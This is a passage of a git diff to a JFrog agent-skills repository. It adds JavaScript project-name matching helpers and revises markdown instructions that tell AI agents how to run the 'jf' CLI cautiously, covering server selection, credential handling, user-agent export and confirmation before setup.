below still +// need the full enumeration to match correctly against any typed input, not +// just the first N). A JPD with hundreds of projects would otherwise dump +// them all into the caller's own context on every non-green result — the +// caller only ever offers the first two as picker options anyway (see +// references/project-picker.md), so anything past the cap changes nothing +// about what the user sees, only how much the caller has to read. +// `candidatesTotal` is present only when actually truncated. +export function capCandidatesForDisplay(list, limit = 20) { + if (list.length <= limit) return { candidatesWithNames: list }; + return { candidatesWithNames: list.slice(0, limit), candidatesTotal: list.length }; +} + +const norm = (s) => s.toLowerCase().replace(/[^a-z0-9]/g, ""); + +// A substring match (tiers 4/5 below, and findSimilarProjects' containment +// check) only counts if the shorter side is long enough to be meaningful — +// otherwise a short needle like "ai" or a short project key like "da" +// spuriously "matches" almost anything that happens to contain those +// characters in a row. +const MIN_SUBSTRING_LEN = 3; + +// Resolves `needle` against BOTH project_key and display_name, strictest +// tier first (each tier only runs if the previous one had zero hits): +// 1. Exact key 4. Unique substring, literal +// 2. Exact display name 5. Unique substring, separator-stripped +// 3. Exact, separator-stripped ("aicatalog" == "ai_catalog" / "ai catalog") +// Returns { key } on a unique match, { tied: [...] } on an ambiguous one +// (multiple hits at the first tier that has any), or null on no match. +// Tiers 3/5 are skipped when the separator-stripped needle is empty (pure +// punctuation input), since an empty string is a substring of everything. +// Tiers 4/5 are also skipped when the needle is shorter than +// MIN_SUBSTRING_LEN, for the same reason findSimilarProjects guards its +// containment check — a short needle can substring-match multiple +// unrelated projects and get misreported as ambiguous. +// +// Takes the already-deduped/sorted `projectsWithNames()` output rather +// than raw API data — the caller already computed it once for +// `candidatesWithNames`, and re-deriving it here on every call would +// redo that dedup+sort for no benefit. +export function resolveProject(projects, needle) { + if (!needle) return null; + + const needleLc = needle.toLowerCase(); + const needleNorm = norm(needle); + + const tiers = [ + () => projects.filter((p) => p.key.toLowerCase() === needleLc), + () => projects.filter((p) => p.displayName.toLowerCase() === needleLc), + () => (needleNorm ? projects.filter((p) => norm(p.key) === needleNorm || norm(p.displayName) === needleNorm) : []), + () => + needleLc.length >= MIN_SUBSTRING_LEN + ? projects.filter((p) => p.key.toLowerCase().includes(needleLc) || p.displayName.toLowerCase().includes(needleLc)) + : [], + () => + needleNorm.length >= MIN_SUBSTRING_LEN + ? projects.filter((p) => norm(p.key).includes(needleNorm) || norm(p.displayName).includes(needleNorm)) + : [], + ]; + + for (const tier of tiers) { + const hits = tier(); + if (hits.length === 1) return { key: hits[0].key }; + if (hits.length > 1) return { tied: [...new Set(hits.map((p) => p.key))] }; + } + return null; +} + +function levenshtein(a, b) { + if (a === b) return 0; + if (!a.length) return b.length; + if (!b.length) return a.length; + let prev = Array.from({ length: b.length + 1 }, (_, j) => j); + for (let i = 1; i <= a.length; i++) { + const row = [i]; + for (let j = 1; j <= b.length; j++) { + row[j] = a[i - 1] === b[j - 1] ? prev[j - 1] : 1 + Math.min(prev[j - 1], prev[j], row[j - 1]); + } + prev = row; + } + return prev[b.length]; +} + +// "Did you mean...?" suggestions for a needle that matched nothing in +// resolveProject. Ranks every project by how close it looks to the typed +// input — substring containment either direction (e.g. "widgets20" typed, +// project key "widgets2" is a prefix of it) beats edit distance, which +// catches the common case of a stray/missing/swapped character +// ("widgets20" vs "widgets2", "wdgets1" vs "widgets1"). A project only qualifies +// if it's a reasonably close typo, not just "closest of a bad lot" — pure +// edit-distance ranking with no floor would always suggest *something*, +// even for input that resembles nothing on the JPD. +// +// Takes the same already-deduped/sorted `projectsWithNames()` output as +// resolveProject() above, for the same reason — avoid a third +// re-derivation of the same list from raw API data. +export function findSimilarProjects(projects, needle, limit = 2) { + if (!needle) return []; + const needleLc = needle.toLowerCase(); + + const containedIn = (haystack, piece) => piece.length >= MIN_SUBSTRING_LEN && haystack.includes(piece); + + const scored = projects.map((p) => { + const keyLc = p.key.toLowerCase(); + const nameLc = p.displayName.toLowerCase(); + const contains = + containedIn(needleLc, keyLc) || + containedIn(keyLc, needleLc) || + (nameLc && (containedIn(needleLc, nameLc) || containedIn(nameLc, needleLc))); + // The threshold scales off whichever side (key or name) actually + // produced the winning distance — not always the key. A short key + // paired with a long display name would otherwise clamp the + // threshold down to the key's tiny length even when the needle is a + // genuinely close typo of the (much longer) name, wrongly rejecting it. + const keyDist = levenshtein(needleLc, keyLc); + const nameDist = nameLc ? levenshtein(needleLc, nameLc) : Infinity; + const dist = Math.min(keyDist, nameDist); + const winnerLen = keyDist <= nameDist ? keyLc.length : nameLc.length; + const closeEnough = dist <= Math.max(2, Math.ceil(Math.min(needleLc.length, winnerLen) * 0.4)); + return { key: p.key, displayName: p.displayName, contains, dist, qualifies: contains || closeEnough }; + }); + + return scored + .filter((s) => s.qualifies) + .sort((a, b) => (a.contains !== b.contains ? (a.contains ? -1 : 1) : a.dist !== b.dist ? a.dist - b.dist : a.key.localeCompare(b.key))) + .slice(0, limit) + .map(({ key, displayName }) => ({ key, displayName })); +} diff --git a/skills/jfrog-mcp-management/references/harness-devin.md b/skills/jfrog-mcp-management/references/harness-devin.md index 40f04c7..49616c1 100644 --- a/skills/jfrog-mcp-management/references/harness-devin.md +++ b/skills/jfrog-mcp-management/references/harness-devin.md @@ -47,6 +47,36 @@ export the variable in the environment that launches Devin Desktop (see next launch. If a required `${env:VAR}` is unset the Agent Guard fails at startup — confirm the export before restart. Never write a raw secret. +`${env:…}` / `${file:…}` are for the upstream MCP's own secrets and inputs — +never for JFrog Agent Guard credentials (see below). + +## JFrog credentials - from the `jf` config + +**Include `--server ` by default.** It reads that server's URL + token +from the on-disk `jf` CLI config, is unambiguous, and keeps working if the user +later adds more servers. Resolve `` per the agent-guard-common +Pre-flight rules; never emit an empty `--server`. + +`--server` can be **omitted only when exactly one `jf` server is configured** - in +that case the Agent Guard auto-resolves it. With **multiple** `jf` servers, +omitting `--server` fails: the Agent Guard cannot choose between them and does NOT +fall back to the `jf` default, so `--server` is required. (When in doubt, include +it.) + +**Devin exception to the shared rule.** [SKILL.md](../SKILL.md) treats `--server` +as conditional and permits dropping it on the `JFROG_URL`+token env path (see its +Step 4 Guardrails, "`--server` … drop it only on the `JFROG_URL`+token env +path"). **That env path does NOT apply on Devin Desktop** - do NOT authenticate +JFrog via env-var credentials, even though Devin Desktop would resolve +`${env:JFROG_URL}` / `${env:JFROG_ACCESS_TOKEN}` (or inherit them from the +launch environment) into the Agent Guard process. Use `--server ` +(or a single configured `jf` server) as described above. If there is no usable +`jf` server, ask the user to add one (`jf c add `, or `jf login`) before +continuing. + +If credentials cannot be resolved (no `--server` and either zero or multiple `jf` +servers), the entry fails to start and the server connects with no tools. + ## Enable Devin Desktop loads every non-disabled entry in `mcpServers` automatically on diff --git a/skills/jfrog-setup-package-managers/SKILL.md b/skills/jfrog-setup-package-managers/SKILL.md index 9115f01..160086f 100644 --- a/skills/jfrog-setup-package-managers/SKILL.md +++ b/skills/jfrog-setup-package-managers/SKILL.md @@ -9,6 +9,8 @@ description: >- already has the same repo key. Never pick a repo by discovery; use resolver output only (unless the user names or asks to browse repos). On unresolved or failed setup, ask with the failure verbatim — never switch servers. + NOT for installing packages, general Artifactory repo operations (use the base + jfrog skill), or MCP server setup (use jfrog-mcp-management). metadata: role: workflow --- @@ -20,6 +22,33 @@ then record it in [`.jfrog/local/package-resolution.json`](references/workspace- `jf setup` writes package-manager-native config (`.npmrc`, `pip.conf`, `uv.toml`, …); the binding lets the hook re-apply on later sessions. +## At a glance (always-read core) + +Every `jf setup` this session: + +- **Cover base [`../jfrog/SKILL.md`](../jfrog/SKILL.md) At-a-glance / Tier A** + (Step 0.1) → ``, `--server-id` placement, single-server, stop-don't-switch. + Prefer full base SKILL.md when you can; Tier B (`cli-gotchas` / `jf-api` / …) + only if the next action needs `jf api` / advanced CLI +- **Always `--repo` + `--server-id`.** `` ← [Step 2](#step-2--get-the-resolved-repo) + (table / binding / global-cache) or user override / unresolved AskQuestion; + never self-discover. `` ← resolver only (never user-selected) +- **Confirm** before first `jf setup` unless user asked silent / non-interactive +- **Exit 0 → merge binding**; non-zero → stop, surface CLI verbatim, offer + alternate repo or `abort` (2-answer cap) +- **Binding = decisions, not creds** — never write tokens into + `.jfrog/local/package-resolution.json` +- **Unresolved / failed:** ask with failure verbatim — never switch servers +- **Never skip** [Gotchas](#gotchas--hard-rules-never-skip) + base Tier A hard + rules (`../jfrog/SKILL.md` Cautious execution / Server selection / Tier A + gotcha floor). Full `cli-gotchas.md` is Tier B — not required for `jf setup` + +Steps: [0](#step-0--read-the-base-skill-then-ensure-jf-is-ready) → +[1](#step-1--identify-package-managers-to-bind) → +[2](#step-2--get-the-resolved-repo) → +[3](#step-3--confirm-run-jf-setup-persist-binding) → +[4](#step-4--load-the-routing-policy) + ## Scope (this skill vs session hook) **Session-start hook:** resolves repo keys per package type, injects the @@ -42,11 +71,17 @@ unlisted package manager apply as usual). - `jf setup` **mutates user state** (`~/.npmrc`, `~/.docker/config.json`, …). Confirm before the first `jf setup` in a session unless the user explicitly requests silent/non-interactive setup. -- Reading [`../jfrog/SKILL.md`](../jfrog/SKILL.md) is required — done as Step 0.1 below. +- Covering base At-a-glance / Tier A is required — done as Step 0.1 below. **Out of scope:** CLI install/login (`../jfrog/references/…`). -## Gotchas +## Gotchas — hard rules (never skip) + +**Not tips.** Do/don'ts and known traps for `jf setup` — follow every bullet +before binding. Also honor base **Tier A** hard rules from +[`../jfrog/SKILL.md`](../jfrog/SKILL.md) (Cautious execution, Server selection, +Tier A gotcha floor). Full `cli-gotchas.md` is Tier B — load only if this +session also needs `jf api` / advanced CLI. - **Always pass `--repo` and `--server-id`** — omitting `--repo` fails when multiple repos match. See [`jf-setup-command.md`](references/jf-setup-command.md). @@ -70,11 +105,13 @@ unlisted package manager apply as usual). ## Step 0 — Read the base skill, then ensure `jf` is ready -1. **Read [`../jfrog/SKILL.md`](../jfrog/SKILL.md) fully first — always, before any - `jf` command, even when `jf` is already configured.** It carries the `jf` - invariants this skill relies on. After reading, run that skill's - *Environment check* (and export `JFROG_CLI_USER_AGENT`) before the first - `jf` call. +1. **Cover base skill At-a-glance / Tier A before the first non-exempt `jf` + (even when `jf` is already configured).** Prefer reading + [`../jfrog/SKILL.md`](../jfrog/SKILL.md) in full when you can; the At-a-glance + Tier A floor is enough for `jf setup` / package-manager binding. Load Tier B + (`cli-gotchas.md`, `jf-api.md`, …) only if the next action needs `jf api` / + advanced CLI. Then run that skill's *Environment check* (and export + `JFROG_CLI_USER_AGENT`) before the first `jf` call. 2. Ensure `jf` + a configured server (``). If `jf config show` already succeeds, skip to Step 1; otherwise: - **`jf --version`** missing → install per @@ -198,3 +235,16 @@ hard rules. Continue the original request using those URLs. If the command prints nothing, routing is off by config (`packageResolution.enabled` is not `true`) — an admin opt-in. Report that to the user and let them decide whether to enable it. + +## Before you run `jf setup` — checklist + +[At a glance](#at-a-glance-always-read-core) invariants: + +- [ ] base At-a-glance / Tier A covered; `` exported +- [ ] `` ← Step 2 or user override; `` ← resolver only +- [ ] confirmed (or explicit silent-setup) +- [ ] `jf setup --server-id --repo ` +- [ ] exit 0 → merge binding (no creds); non-zero → stop + report verbatim; + never switch servers +- [ ] **never skip** Gotchas (this skill) + base Tier A hard rules (full + `cli-gotchas.md` only if Tier B path) diff --git a/skills/jfrog/SKILL.md b/skills/jfrog/SKILL.md index d1d1702..15d49a9 100644 --- a/skills/jfrog/SKILL.md +++ b/skills/jfrog/SKILL.md @@ -15,21 +15,79 @@ description: >- advanced security, exposures, or any JFrog product name. Do NOT use this skill to install, add, remove, list, or manage MCP servers. compatibility: >- - Requires jq on PATH. + Requires bash, jq, and awk on PATH. The JFrog CLI (jf) is required for Tier 2 + (CLI) and Tier 3 (jf api) operations; without it, only MCP (Tier 1) is available. metadata: role: base - version: "0.22.0" + version: "0.25.0" --- # JFrog Skill The foundational skill for all JFrog agent interactions. Covers JFrog Platform concepts, `jf` CLI setup and authentication, and intent routing to workflow skills. +## At a glance (always-read core) + +Network-facing `jf` this session. Exempt until ``: `jf --version`, +`jf config show`. + +**Tier A — always-read floor** (before first *non-exempt* `jf`): + +- **UA:** [Environment check](#environment-check) once → on exit 0/1, export + its **exact stdout line** as `JFROG_CLI_USER_AGENT` atop every bash that + runs `jf` (never invent / rebuild the UA) +- **Server:** resolve default once → `--server-id ` **after** subcommand + (`jf api --server-id …`, never `jf --server-id … api`). One request → one + server (unless user names servers, e.g. `compare and `) +- **Error (401/403/404/timeout):** stop — never retry another server / never + infer multi-server. Override only if user names a server +- **No prep mutations:** missing repo/artifact/build → stop + report; no + create/copy/move/upload to fill the gap (workaround ask ≠ permission) +- **Never guess** tools / `jf api` paths → tool list / `--help` / `references/`. + 404 → stop (no guessed retry). `jf api` needs product prefix + (`/artifactory`, `/xray`, …) +- **Hard-rule signals:** [Cautious execution](#cautious-execution), + [Server selection rules](#server-selection-rules-mandatory), + [Gotchas](#gotchas--hard-rules-never-skip) Tier A bullets below — not tips +- **Gotcha floor (Tier A):** never interactive (`jf config add`, `jf login`, + template wizards, …); if a call fails **with** `--server-id`, do **not** + retry without it; 401/403/404/timeout → stop, never hop servers; `--quiet` + is not global — check `--help` before adding it + +**Tier B — path-gated MUST** (before `jf api` / AQL / advanced CLI I/O / +MCP-result-via-shell anti-patterns): full +[`references/cli-gotchas.md`](references/cli-gotchas.md), +[`references/jf-api.md`](references/jf-api.md), +[`references/preserving-command-output.md`](references/preserving-command-output.md), +[`references/cli-command-discovery.md`](references/cli-command-discovery.md). +Setup / `jf setup` / ordinary CLI do **not** require Tier B. + +**Tier C — on-demand:** [`references/INDEX.md`](references/INDEX.md) domain +refs; login / CLI install when needed. + +Contents (prefer full SKILL.md; At a glance = Tier A floor if you only see the +top): + +| Section | Topic | +|---------|-------| +| [Tool selection strategy](#tool-selection-strategy) | MCP vs CLI vs `jf api` | +| [Prerequisites](#prerequisites), [Environment check](#environment-check) | before first non-exempt `jf` | +| [Cautious execution](#cautious-execution), [Server selection rules](#server-selection-rules-mandatory) | **Tier A hard rules** | +| [Gotchas — hard rules](#gotchas--hard-rules-never-skip) | Tier A reminders; full `cli-gotchas.md` = **Tier B** | +| [Path-gated base references](#path-gated-base-references-must-before-jf-api--advanced-cli) | **Tier B MUST** before `jf api` / advanced CLI | +| [When to read reference files](#when-to-read-reference-files) → [`references/INDEX.md`](references/INDEX.md) | Tier C domain refs | +| [Command discovery](#command-discovery) / [jf api](#invoking-platform-apis-with-jf-api) | Tier B when those paths apply | +| [Structured inputs](#structured-inputs) / [Batch](#batch-and-parallel-execution) / [Preserving output](#preserving-command-output) | templates / parallel / temp files | + +> **Floor for partial reads:** Tier A (this section) before first non-exempt +> `jf`. Prefer the full SKILL.md when you can. Load **Tier B** only when the +> next action needs `jf api` / AQL / advanced CLI I/O (checklist). Domain +> detail → Tier C [`references/INDEX.md`](references/INDEX.md). + Interact with the JFrog Platform through three tool tiers — see -[Tool selection strategy](#tool-selection-strategy). In code examples below, -`` refers to this skill's directory and is resolved automatically -by the agent. If the agent does not resolve it, determine the path by locating -this SKILL.md file and using its parent directory. +[Tool selection strategy](#tool-selection-strategy). In code examples, +`` is this skill's directory, resolved automatically by the agent. +If unresolved, locate this SKILL.md file and use its parent directory. > **Out of scope: MCP server management.** Installing, listing, removing, or > configuring MCP servers (e.g. "install an MCP", "what MCPs can I install", @@ -51,8 +109,8 @@ cover the operation or fails: subcommand. Validate the path first — see rule 6 in [Cautious execution](#cautious-execution). -MCP and the CLI may use different token scopes. If one tier returns 403, -try the alternate tier before reporting the operation blocked. +MCP and CLI may use different token scopes. One tier returns 403 → try the +other tier before reporting the operation blocked. ## Prerequisites @@ -82,23 +140,41 @@ thing to check — re-run with the appropriate escalation above. ## Environment check -MCP (Tier 1) operations do not require this check and can proceed immediately. -Before your first Tier 2 or Tier 3 (`jf`) operation in a session, run the -environment check and **remember its stdout** as `` for the rest of the +MCP (Tier 1) skips this check — proceed immediately. Before your first Tier 2 +or Tier 3 (`jf`) operation this session, run the environment check. On exit +0/1, **remember its stdout line verbatim** as `` for the rest of the session: ```bash bash /scripts/check-environment.sh -# stdout (one line): jfrog-skills/ [(tool=; model=)] jfrog-cli-go/ +# exit 0/1 stdout: exactly one opaque line — that line IS . Copy it byte-for-byte. +# Do not parse, rebuild, or approximate the export value from this comment. # stderr: JSON state (cached 24h at ${JFROG_CLI_HOME_DIR:-$HOME/.jfrog}/skills-cache/jfrog-skill-state.json) ``` +Exit 2/3 produces no ``; follow the exit table below and do not proceed to +Tier 2 or 3. + Pass your own model slug, lowercased, with version (e.g. `opus-4.7`, `gpt-5.6-sol`, `gemini-2.5-pro`, `composer-2-fast`). Examples, not an allowlist — emit a new/unlisted name verbatim, not `unknown`. Not harness/role (`subagent`, `agent`) or bare family (`claude`, `gpt`); subagents inherit the parent's slug. `unknown` only if truly unidentifiable. +### Never invent `JFROG_CLI_USER_AGENT` + +On exit 0/1, the script's stdout line **is** `` — export it verbatim (never +invent, rebuild, or edit it). On exit 2/3 there is no `` — do not synthesize +one. Current stdout starts with `jfrog-skills/`, never with `model/`. + +- **Parent session:** if `` is missing or starts with `model/` (legacy), + discard it and **re-run** `check-environment.sh`. Export the new exit 0/1 + stdout line only when it does **not** start with `model/`; otherwise **stop** + (do not invent). +- **Subagents:** use only the parent-passed exact `` — never re-run the + script or construct a replacement. If that value is missing or starts with + `model/`, **stop** (do not export / do not invent); do not re-run. + ### Export `JFROG_CLI_USER_AGENT` once per bash invocation At the top of every bash invocation that runs `jf`, export `` once; @@ -106,17 +182,23 @@ all `jf` calls in that invocation pick it up: ```bash export JFROG_CLI_USER_AGENT='' +export JFROG_CLI_AI_MODEL='' # jf >= 2.120.0 emits ai-model/ from this jf config show jf api /artifactory/api/system/version ``` +`JFROG_CLI_AI_MODEL` carries the model the CLI cannot infer from the environment; +export it alongside `` (same `` you passed the script). Older CLIs +ignore it; the remembered `` already carries the slug when the script +recorded one. + Do **not** repeat the assignment per `jf` call (`JFROG_CLI_USER_AGENT='' jf …` on every line). This is a **session-global invariant**: it applies to *every* `jf` invocation in the session, including `jf` calls you make while following any workflow skill that builds on this base skill. Examples elsewhere in this skill and in `references/*.md` omit the export for readability — the rule is -global. When launching a subagent, pass `` in its prompt; subagents do not -re-run the script. +global. When launching a subagent, pass `` in its prompt (see +[Never invent](#never-invent-jfrog_cli_user_agent)). | Exit | Meaning | |------|---------| @@ -125,6 +207,9 @@ re-run the script. | 2 | `jf` not installed — Tiers 2 and 3 unavailable; only MCP (Tier 1) remains | | 3 | `jf` below minimum version — Tiers 2 and 3 unavailable; only MCP (Tier 1) remains | +Exit 2 or 3 prints no `` on stdout. Do not invent or hand-assemble one +from this file or from `jf --version`. + Exit 2 or 3 is not a fatal error. Attempt to install or upgrade the CLI (see `references/jfrog-cli-install-upgrade.md`). If installation succeeds, re-run the environment check. If installation is not possible (no permissions, @@ -153,8 +238,8 @@ command output* below. ## Cautious execution -Do not run commands speculatively. Before executing any JFrog CLI command, -MCP tool call, or API call: +**HARD RULES — never skip.** Speculative / preparatory / guessed ops are +forbidden. Before any JFrog CLI command, MCP tool call, or API call: 1. Confirm the operation is needed to fulfill the user's request. If the request is ambiguous or could refer to multiple systems (e.g. @@ -172,7 +257,12 @@ MCP tool call, or API call: repository does not exist, package not at the expected location, build not found), **stop and report the gap to the user**. Do not perform copy, move, upload, create-repo, or any other mutating operation to satisfy the - precondition unless the user explicitly asks for it. These "helper" mutations + precondition. "Put it there so the download succeeds", "make it work", or + "do whatever you need" is still a workaround — not permission to invent + the missing artifact. Only perform that mutation when it **is** the + user's requested work (publish this file, create this repo, move this + artifact), not a helper to make a different operation succeed. These + "helper" mutations can have cascading effects the user has not considered — virtual repository resolution changes, storage quota consumption, replication triggers, Xray re-indexing, or permission propagation. @@ -185,9 +275,15 @@ MCP tool call, or API call: ## Server selection rules (mandatory) -**Single-server invariant.** Every `jf` call MUST pass `--server-id ` -(default resolved below); for one user request, all `jf` calls use **exactly -one** server-id. A wrong answer from the wrong server is worse than a stop-and-ask. +**HARD RULES — never skip or soften.** Wrong-server answers and silent +server-switching are worse than stopping to ask. + +**Single-server invariant.** After `` is resolved, every subsequent +network-facing `jf` call MUST pass `--server-id ` (default resolved below); +bootstrap `jf --version` / `jf config show` stay exempt until then. For one user +request, all network `jf` calls use **exactly one** server-id — unless the user +names servers to compare (e.g. `compare and `), where each call passes +its own target's `--server-id`. **JFrog MCP and CLI use independent auth.** MCP tools authenticate through the MCP server session (not `jf config`); CLI commands authenticate through @@ -236,303 +332,136 @@ failure, **stop with no further `jf` calls** and respond: > configured server(s): `` — I won't query them without your explicit > instruction. How would you like to proceed? -## When to read reference files - -Load the most specific file for the task at hand. Avoid loading more than 2-3 -reference files for a single operation — start with the most relevant one and -only load additional files if the first doesn't cover the need. File sizes -vary (~25–640 lines); larger files are noted with approximate line counts -below. - -### Cross-domain - -- **Disambiguating a JFrog entity, understanding entity types, or planning operations that span multiple products**: read `references/jfrog-entity-index.md`, then follow pointers to the relevant domain file -- **Looking up documentation URLs**: read `references/jfrog-url-references.md` +## Path-gated base references (MUST before `jf api` / advanced CLI) -### Artifactory +These four files **are Tier B of the base skill** — content that used to live +in this SKILL.md. They are **not** optional INDEX domain lookups, and they are +**not** required before every CLI / setup path. -- **Repository types, artifacts, builds, properties, or permission targets (concepts)**: read `references/artifactory-entities.md` (~220 lines) -- **Stored packages, package versions, version locations, or the metadata layer over Artifactory (concepts)**: read `references/stored-packages-entities.md` (~165 lines) -- **Repo, file, build, permission, user/group, or replication operations**: if the JFrog MCP server exposes a tool for the operation, prefer it. For CLI/API fallback, read `references/artifactory-operations.md` (for **listing builds** use AQL with `limit`/`offset` — see § *Listing build names*; for **full build detail** use `GET /api/build//?project=` — see § *Retrieving full build info*) -- **AQL queries**: read `references/artifactory-aql-syntax.md` (~585 lines) -- **Artifactory REST beyond the CLI, structured JSON templates (replacing interactive wizards), or any Artifactory API gap**: read `references/artifactory-api-gaps.md` (~220 lines) +**MUST read every one in full before** `jf api`, AQL via `jf api`, advanced +CLI I/O (temp-file / stdout-stderr patterns), or acting on MCP results via +shell/`jq`. Ordinary `jf` (e.g. `jf setup`, `jf rt …` with known flags) needs +**Tier A only** ([At a glance](#at-a-glance-always-read-core)). -### Xray & security +The short [Gotchas](#gotchas--hard-rules-never-skip) Tier A bullets are the +session floor — **they do not replace** full +[`references/cli-gotchas.md`](references/cli-gotchas.md) when you enter Tier B. -- **Watches, policies, violations, components, or vulnerability scanning (concepts)**: read `references/xray-entities.md` (~290 lines) -- **Exposures scanning results (secrets, IaC, service misconfigurations, application security risks)**: read `references/xray-entities.md` § Exposures (Advanced Security) -- **Curation audit events (approved/blocked packages, dry-run policy evaluations, curation export)**: read `references/xray-entities.md` § Curation audit events +| Tier B — MUST read in full (path-gated) | Covers | +|-----------------------------------------|--------| +| [`references/cli-gotchas.md`](references/cli-gotchas.md) | gotchas, caveats, known issues, do/don't, I/O & auth traps | +| [`references/jf-api.md`](references/jf-api.md) | product-prefix table, flags, examples, GraphQL payload | +| [`references/preserving-command-output.md`](references/preserving-command-output.md) | temp files, `$$` paths, no re-fetch for `jq` | +| [`references/cli-command-discovery.md`](references/cli-command-discovery.md) | namespaces, top-level cmds, Pipelines sunset | -### Release lifecycle & distribution +Skipping any of these **on a Tier B path** = incomplete base-skill load / +hard-rule violation. Skipping them on a Tier A-only path (setup / simple CLI) +is **not** a violation. -- **Release bundles, lifecycle stages, distribution, or evidence (concepts)**: read `references/release-lifecycle-entities.md` (~180 lines) -- **Applications, application versions, releasables, promotions, or AppTrust (concepts)**: read `references/apptrust-entities.md` (~155 lines) - -### Catalog - -- **Public or custom catalog, package metadata, vulnerability advisories, licenses, OpenSSF, or MCP services (concepts)**: if the JFrog MCP server exposes a catalog tool, prefer it for single-package lookups. For deeper queries, read `references/catalog-entities.md` (~190 lines) -- **CVE details, vulnerability lookup by CVE ID, or severity/affected-packages/fix-versions for a specific CVE**: prefer an MCP vulnerability-lookup tool if the JFrog MCP server exposes one. Otherwise read `references/onemodel-query-examples.md` § *Public security domain* for the `searchVulnerabilities` query shape — this is self-contained; do not load the `jfrog-package-safety-and-download` skill for pure CVE lookups - -### OneModel (GraphQL) - -- **GraphQL queries** (applications, packages, evidence, release bundles, catalog, cross-domain, or "list/search my" platform entities): read `references/onemodel-graphql.md` (~325 lines) -- **Query templates and domain-specific examples**: read `references/onemodel-query-examples.md` (~555 lines) -- **Pagination, filtering, GraphQL variables, or date formatting**: read `references/onemodel-common-patterns.md` (~280 lines) - -### Platform administration - -- **Platform structure, project/repo membership, or project roles vs environments (concepts)**: read `references/platform-access-entities.md` -- **Access tokens, stats, projects, or system health**: read `references/platform-admin-operations.md` -- **Managing JFrog Projects, members, or environments**: read `references/projects-api.md` (~260 lines) -- **Platform REST beyond the CLI, or any platform-level API gap**: read `references/platform-admin-api-gaps.md` (~180 lines) - -### CLI setup & authentication - -- **Adding a server or logging in**: read `references/jfrog-login-flow.md` (~130 lines) -- **CLI not installed, upgrade needed, or `jq` unavailable**: read `references/jfrog-cli-install-upgrade.md` - -### General patterns +## When to read reference files -- **Batching, parallel Shell calls, or launching subagents**: read `references/general-parallel-execution.md` (~135 lines) -- **Large or parallel data gathering, list-vs-detail APIs, cache hygiene**: read `references/general-bulk-operations-and-agent-patterns.md` -- **Standalone HTML report with JFrog-aligned styling**: read `references/jfrog-brand-html-report.md` -- **Reusable gotchas from past tasks**: read or extend `references/general-use-case-hints.md` +Prefer reading this SKILL.md in full. [At a glance](#at-a-glance-always-read-core) +is the **Tier A** floor for partial readers. **Path-gated base references** +above are **Tier B** (mandatory on those paths, not every session). Everything +else under [`references/INDEX.md`](references/INDEX.md) is **Tier C** domain +detail — load ≤2–3 most specific files for the task; skip unused domains. +`references/INDEX.md` lists every `references/*.md` file (Tier B + Tier C). +Add/rename/remove a file → update INDEX in the same change — CI +(`tests/jfrog/test_reference_index_contract.py`) fails if they diverge. ## Command discovery -Use the commands listed below as your primary reference. Run `--help` to -verify options you are unsure about or to discover commands not listed here — -do not rely on memorized commands outside this skill, as they may be outdated. - -1. `jf --help` — list all namespaces and top-level commands -2. `jf --help` — list subcommands in a namespace -3. `jf --help` — show usage, arguments, and options - -### CLI namespaces +Run `--help` to verify options — do not rely on memorized commands. -| Namespace | Alias | Product | -|-----------|-------|---------| -| `rt` | | Artifactory | -| `xr` | | Xray | -| `ds` | | Distribution V1 | -| `at` | `apptrust` | AppTrust | -| `evd` | | Evidence | -| `mc` | | Mission Control | -| `worker` | | Workers | -| `config` | `c` | CLI server configuration | -| `plugin` | | CLI plugin management | -| `ide` | | IDE integration | +1. `jf --help` → 2. `jf --help` → 3. `jf --help` -> **Sunset notice:** JFrog Pipelines has been sunset and is no longer supported. -> Do not use the `pl` CLI namespace or the Pipelines REST API -> (`/pipelines/api/...`). If a user asks about Pipelines, inform them the -> product has been sunset. - -Top-level lifecycle commands (no namespace): `rbc`, `rbp`, `rbd`, `rba`, -`rbf`, `rbe`, `rbi`, `rbs`, `rbu`, `rbdell`, `rbdelr`. - -Top-level security commands: `audit`, `scan`, `build-scan`, `curation-audit`, -`sbom-enrich`. - -Top-level other: `access-token-create` (`atc`), `login`, `how`, `stats`, -`generate-summary-markdown`, `exchange-oidc-token`, `completion`. +**Tier B — MUST read in full before relying on discovery beyond `--help`:** +[`references/cli-command-discovery.md`](references/cli-command-discovery.md) +(namespaces, top-level lifecycle/security commands, Pipelines sunset). ## Invoking platform APIs with `jf api` -`jf api` is the Tier 3 entry point for JFrog Platform REST and GraphQL -endpoints, auto-authenticated against the resolved server. **Do not use -`jf rt curl` or `jf xr curl`**; they are superseded by `jf api`. - -### Product-prefix table - -`jf api` requires the **full** path including the product prefix; omitting it -returns 404. - -| Product | Path prefix | -|---------|-------------| -| Artifactory | `/artifactory/api/...` | -| Xray | `/xray/api/...` | -| Access (users, groups, tokens, permissions, projects) | `/access/api/...` | -| Evidence | `/evidence/api/...` | -| Release Lifecycle | `/lifecycle/api/...` | -| AppTrust | `/apptrust/api/...` | -| Distribution | `/distribution/api/...` | -| OneModel (GraphQL) | `/onemodel/api/v1/graphql`, `/onemodel/api/v1/supergraph/schema` | -| Mission Control | `/mc/api/...` | -| Curation | `/xray/api/v1/curation/...` (lives under Xray) | - -### Examples - -```bash -jf api /artifactory/api/repositories -jf api --server-id /artifactory/api/system/version - -# AQL (POST with text/plain body) -jf api /artifactory/api/search/aql \ - -X POST -H "Content-Type: text/plain" -d '' -``` - -Common flags: `-X/--method`, `-H/--header`, `-d/--data`, `--input `, -`--server-id`, `--timeout`. Body on stdout, status on stderr — see -[Gotchas](#gotchas). - -### GraphQL (OneModel) - -OneModel is the unified GraphQL API. **Do not** embed the query inside a JSON -literal (`-d '{"query":"..."}'`) — escaping breaks requests. Build the payload -with `jq -n --arg`, pass it via `--input`, and save the response to a file -before running `jq` on it. - -```bash -QUERY='{ evidence { searchEvidence(first: 5, where: { hasSubjectWith: { repositoryKey: "my-repo-local" } }) { totalCount } } }' -PAYLOAD=/tmp/onemodel-payload-$$.json RESPONSE=/tmp/onemodel-$$.json -jq -n --arg q "$QUERY" '{query:$q}' > "$PAYLOAD" -jf api /onemodel/api/v1/graphql -X POST \ - -H "Content-Type: application/json" --input "$PAYLOAD" > "$RESPONSE" -jq . "$RESPONSE" -``` - -Schema discovery: `jf api /onemodel/api/v1/supergraph/schema > "$SCHEMA_FILE"` -(store only under `~/.jfrog/skills-cache/`, never query responses). Read -`references/onemodel-graphql.md` for the full workflow (schema fetch, -validation, pagination, errors), plus `references/onemodel-query-examples.md` -and `references/onemodel-common-patterns.md` for query shapes, pagination, -variables, and dates. +Tier 3 for Platform REST/GraphQL, auto-authenticated. **Do not use +`jf rt curl` / `jf xr curl`.** Always include the **product prefix** 